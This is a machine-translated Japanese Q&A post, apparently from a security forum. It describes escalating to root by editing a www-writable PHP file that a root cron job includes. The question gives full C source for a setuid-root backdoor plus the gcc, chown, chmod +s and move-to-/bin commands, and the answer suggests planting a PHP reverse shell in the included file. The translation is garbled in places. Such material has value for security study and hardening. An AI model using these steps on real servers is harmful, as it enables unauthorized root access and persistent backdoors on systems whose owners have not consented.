15分ごとにWebサーバー上でroot
として実行されるcronジョブがあります。
_php cli-script.php
_
(cliは「[〜#〜] c [〜#〜]ommand[〜#〜] l [〜#〜]ine[〜#〜] i [〜#〜]nterface "なので、コマンドラインからのみアクセスできます)
PHPスクリプト_cli-script.php
_を直接変更することはできません。別のPHPスクリプト_db.php
_が含まれているため、直接変更できます。 www
ユーザーとして:
cli-script.php:
_include "db.php";
...
_
私の搾取テクニック:
db.php
_の変更-_db.php
_はcronジョブのスクリプトから_root's
_特権を継承するため、system()
コマンドを追加しますが、www
- user(_db.php
_ is[〜#〜] w [〜#〜]ritable、[〜#〜] r [〜#〜] eadableおよび[〜#〜] e [〜#〜]xecutable as www
user)。 system()
を介してすべての初期コマンドを実行しますbackdoor
を作成します。 root
/bash
( SUID not used)のようなシェルを使用できるようにするには、[〜#〜] uid [〜#〜]をゼロ(sh
)に設定する必要がありますエクスプロイト後 )(別の方法は、例えばPerl/pythonスクリプトを使用することです)db.php
_...
system("...");
...
_
backdoor.c:
_#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char *argv[]) {
if (argc == 2) {
setuid(0); // otherwise /bin/sh would use real UID
system(argv[1]);
} else {
printf("1 argument expected");
}
return 0;
}
_
詳細な手順:
www
- userとしてCコードをコンパイル:_gcc backdoor.c -o backdoor
_root
に変更します:_chmod +s backdoor && chown root backdoor
_root
として_/bin/
_ディレクトリに配置します:_mv backdoor /bin/backdoor
_www
- userとして実行):_backdoor "whoami"
_ => root
質問:このような脆弱性を利用する簡単な方法はありますか?私はすべてを複雑にしていますか?
そのような脆弱性を悪用する簡単な方法はありますか
PHPリバースシェル をdb.phpファイルに単純に統合する方が簡単です。実行してリスナーに接続すると、root
としてシェルのようなアクセス権が付与されます。